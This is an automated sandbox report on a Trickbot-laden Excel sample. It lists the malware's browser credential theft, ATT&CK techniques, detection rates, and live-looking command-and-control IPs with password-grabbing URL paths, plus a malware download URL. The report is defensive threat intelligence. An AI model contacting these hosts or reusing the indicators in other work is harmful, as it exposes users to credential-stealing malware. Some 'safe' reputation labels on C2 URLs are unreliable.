Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultSecurityPreloadState.txt	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultcompatibility.ini	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultAlternateServices.txt	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History.bak	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultSiteSecurityServiceState.txt	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality:

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2408, type: MEMORY

Yara detected Trickbot

Show sources

Source: Yara match	File source: 00000004.00000002.2094061002.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2089754481.00000000006C4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2089764139.00000000006C4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094284509.0000000000690000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094761896.0000000002198000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools2	OS Credential Dumping1	File and Directory Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Scripting21	LSASS Memory	System Information Discovery115	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution33	Logon Script (Windows)	Access Token Manipulation1	Obfuscated Files or Information2	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Process Injection312	DLL Side-Loading1	NTDS	Security Software Discovery12	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Extra Window Memory Injection1	LSA Secrets	Virtualization/Sandbox Evasion1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol114	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading121	Cached Domain Credentials	Process Discovery4	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion1	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	System Network Configuration Discovery11	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection312	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Rundll321	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	11%	Virustotal		Browse
SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	28%	ReversingLabs	Document-Word.Downloader.EncDoc

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes	6%	ReversingLabs	Win32.Trojan.Trickpak
C:\Users\user\BASE.BABAA	6%	ReversingLabs	Win32.Trojan.Trickpak

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
chipmania.it	1%	Virustotal		Browse
www.chipmania.it	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://109.69.4.201:443	0%	Avira URL Cloud	safe
http://123.231.180.130:443	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//3	0%	Avira URL Cloud	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://www.chipmania.it/mails/open.php	100%	Avira URL Cloud	malware
http://116.68.162.92:443	0%	Avira URL Cloud	safe
http://crl.use	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/o	0%	Avira URL Cloud	safe
https://116.68.162.92:443/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/83/	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://185.109.54.99:447/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/5/pwgrab64/	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://190.239.34.181:443	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//W	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
Https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/bnfhZJn91PhwAc8eqCIkI2c	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/U	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/	0%	Avira URL Cloud	safe
http://154.0.134.130:443	0%	Avira URL Cloud	safe
http://187.95.136.38:443	0%	Avira URL Cloud	safe
http://logo.veri	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DEBG//e	0%	Avira URL Cloud	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/jvvnxhpdjrND3fPr33rZPHh	0%	Avira URL Cloud	safe
http://45.184.189.34:443	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chipmania.it	185.81.0.78	true	false	1%, Virustotal, Browse	unknown
wtfismyip.com	95.217.228.176	true	false		high
38.52.17.84.zen.spamhaus.org	unknown	unknown	false		high
38.52.17.84.cbl.abuseat.org	unknown	unknown	false		high
38.52.17.84.dnsbl-1.uceprotect.net	unknown	unknown	true		unknown
www.chipmania.it	unknown	unknown	true	2%, Virustotal, Browse	unknown
38.52.17.84.b.barracudacentral.org	unknown	unknown	false		high
38.52.17.84.spam.dnsbl.sorbs.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.chipmania.it/mails/open.php	true	Avira URL Cloud: malware	unknown
https://116.68.162.92:443/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/83/	true	Avira URL Cloud: safe	unknown
http://wtfismyip.com/text	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	false		high
http://109.69.4.201:443	wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://123.231.180.130:443	wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com	rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	false		high
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//3	wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false		high
http://ocsp.entrust.net03	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://116.68.162.92:443	wermgr.exe, 00000006.00000002.2362068163.0000000032D8C000.00000004.00000040.sdmp, wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.use	wermgr.exe, 00000006.00000003.2299229842.0000000033367000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/o	wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://185.109.54.99:447/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/5/pwgrab64/	wermgr.exe, 00000006.00000002.2362554842.00000000333A0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//	wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	false		high
http://190.239.34.181:443	wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	false		high
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//W	wermgr.exe, 00000006.00000002.2362536618.0000000033385000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	wermgr.exe, 00000006.00000002.2362599901.0000000033740000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2357215363.0000000000800000.00000002.00000001.sdmp	false		high
Https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/bnfhZJn91PhwAc8eqCIkI2c	wermgr.exe, 00000006.00000002.2357365100.0000000000423000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/U	wermgr.exe, 00000006.00000002.2357267628.0000000000340000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/	wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://154.0.134.130:443	wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://187.95.136.38:443	wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	false		high
http://logo.veri	wermgr.exe, 00000006.00000003.2299229842.0000000033367000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.%s.comPA	wermgr.exe, 00000006.00000002.2362599901.0000000033740000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2357215363.0000000000800000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DEBG//e	wermgr.exe, 00000006.00000002.2362530513.000000003337E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false		high
http://servername/isapibackend.dll	wermgr.exe, 00000006.00000002.2363434960.0000000034070000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/jvvnxhpdjrND3fPr33rZPHh	wermgr.exe, 00000006.00000002.2357365100.0000000000423000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	false		high
http://45.184.189.34:443	wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
154.0.134.130	unknown	Uganda	37063	RTL-ASUG	true
123.231.180.130	unknown	Indonesia	4800	LINTASARTA-AS-APNetworkAccessProviderandInternetServic	true
185.81.0.78	unknown	Italy	52030	SERVERPLAN-ASIT	false
190.239.34.181	unknown	Peru	6147	TelefonicadelPeruSAAPE	true
45.184.189.34	unknown	Brazil	269347	REDUTRAPROVEDORDEINTERNETBR	true
185.109.54.99	unknown	Ukraine	199995	OT-ASRO	true
193.8.194.96	unknown	United Kingdom	53340	FIBERHUBUS	true
116.68.162.92	unknown	Indonesia	56246	SDI-AS-IDPTSumberDataIndonesiaID	true
94.140.114.136	unknown	Latvia	43513	NANO-ASLV	true
95.217.228.176	unknown	Germany	24940	HETZNER-ASDE	false
194.5.249.156	unknown	Romania	64398	NXTHOST-64398NXTHOSTCOM-NXTSERVERSSRLRO	false
187.95.136.38	unknown	Brazil	262318	HorizonsTelecomunicacoeseTecnologiaLtdaBR	true
109.69.4.201	unknown	Albania	21183	ABCOM-ASTiranaAlbaniaAL	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	355598
Start date:	20.02.2021
Start time:	02:02:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.Siggen3.10350.15803.23095 (renamed file extension from 23095 to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLS@14/18@8/13
EGA Information:	Failed
HDC Information:	Successful, ratio: 7.6% (good quality ratio 4.8%) Quality average: 58.5% Quality standard deviation: 46.4%
HCA Information:	Successful, ratio: 53% Number of executed functions: 85 Number of non-executed functions: 60
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Excluded IPs from analysis (whitelisted): 93.184.221.240 Excluded domains from analysis (whitelisted): wu.ec.azureedge.net, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu.wpc.apr-52dd2.edgecastdns.net, au-bg-shim.trafficmanager.net, wu.azureedge.net

Simulations

Behavior and APIs

Time	Type	Description
02:03:44	API Interceptor	1x Sleep call for process: rundll32.exe modified
02:03:44	API Interceptor	42x Sleep call for process: wermgr.exe modified
02:05:29	API Interceptor	154x Sleep call for process: taskeng.exe modified
02:05:37	API Interceptor	68x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.81.0.78	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-636.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-709986424_219667767.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-709986424_219667767.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	Sign-707465831_1420670581.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
185.109.54.99	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.3997.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.426.xls	Get hash	malicious	Browse
	SpreadSheets.exe	Get hash	malicious	Browse
193.8.194.96	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse
	Sign-636.xls	Get hash	malicious	Browse
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11712.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.13393.xls	Get hash	malicious	Browse
	Sign_1229872171-1113140666(1).xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21085.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.14515.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.15397.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.29300.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.3997.xls	Get hash	malicious	Browse
	index_2021-02-17-11_45.dll	Get hash	malicious	Browse
	upload-1015096714-954471831.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.20369.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
wtfismyip.com	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	95.217.228.176
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	95.217.228.176
	SecuriteInfo.com.Exploit.Siggen3.10048.14515.xls	Get hash	malicious	Browse	95.217.228.176
	upload-1015096714-954471831.xls	Get hash	malicious	Browse	95.217.228.176
	ieO61Pwnmq.exe	Get hash	malicious	Browse	95.217.228.176
	SecuriteInfo.com.Exploit.Siggen3.9634.12155.xls	Get hash	malicious	Browse	95.217.228.176
	SecuriteInfo.com.Exploit.Siggen3.9634.13595.xls	Get hash	malicious	Browse	95.217.228.176
	WlgBUuBdZm.exe	Get hash	malicious	Browse	95.217.228.176
	fr2iSA8S29.exe	Get hash	malicious	Browse	95.217.228.176
	849IlNGgPo.exe	Get hash	malicious	Browse	95.217.228.176
	SecuriteInfo.com.Trojan.KillProc2.15053.27400.exe	Get hash	malicious	Browse	95.217.228.176
	bdoVxDz0iK.exe	Get hash	malicious	Browse	95.217.228.176
	67oLxFEFdP.exe	Get hash	malicious	Browse	95.217.228.176
	78QdSZ5YaC.exe	Get hash	malicious	Browse	95.217.228.176
	ix2e10rs2C.exe	Get hash	malicious	Browse	95.217.228.176
	1gEpBw4A95.exe	Get hash	malicious	Browse	95.217.228.176
	b12d7feb3507461a.exe	Get hash	malicious	Browse	95.217.228.176
	WZJIuy3UYm.exe	Get hash	malicious	Browse	95.217.228.176
	mal.dll	Get hash	malicious	Browse	95.217.228.176
	tlALsHy73R.exe	Get hash	malicious	Browse	95.217.228.176

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LINTASARTA-AS-APNetworkAccessProviderandInternetServic	650922_original.xlsm	Get hash	malicious	Browse	123.231.252.10
	NhbYqOj1H2.dll	Get hash	malicious	Browse	123.231.252.10
	WBgZsI0Lbd.dll	Get hash	malicious	Browse	123.231.252.10
	H75544534035.xlsm	Get hash	malicious	Browse	123.231.252.10
	731675_original.xlsm	Get hash	malicious	Browse	123.231.252.10
	921455_original.xlsm	Get hash	malicious	Browse	123.231.252.10
	u7921azip.dll	Get hash	malicious	Browse	123.231.252.10
	iejbl7rar.dll	Get hash	malicious	Browse	123.231.252.10
	D8O415702633.xlsm	Get hash	malicious	Browse	123.231.252.10
	Receipt__n3117_12022020.xls	Get hash	malicious	Browse	123.231.252.10
	Receipt__n3117_12022020.xls	Get hash	malicious	Browse	123.231.252.10
	no9fhj0nczip.dll	Get hash	malicious	Browse	123.231.252.10
	bltajns.dll	Get hash	malicious	Browse	123.231.252.10
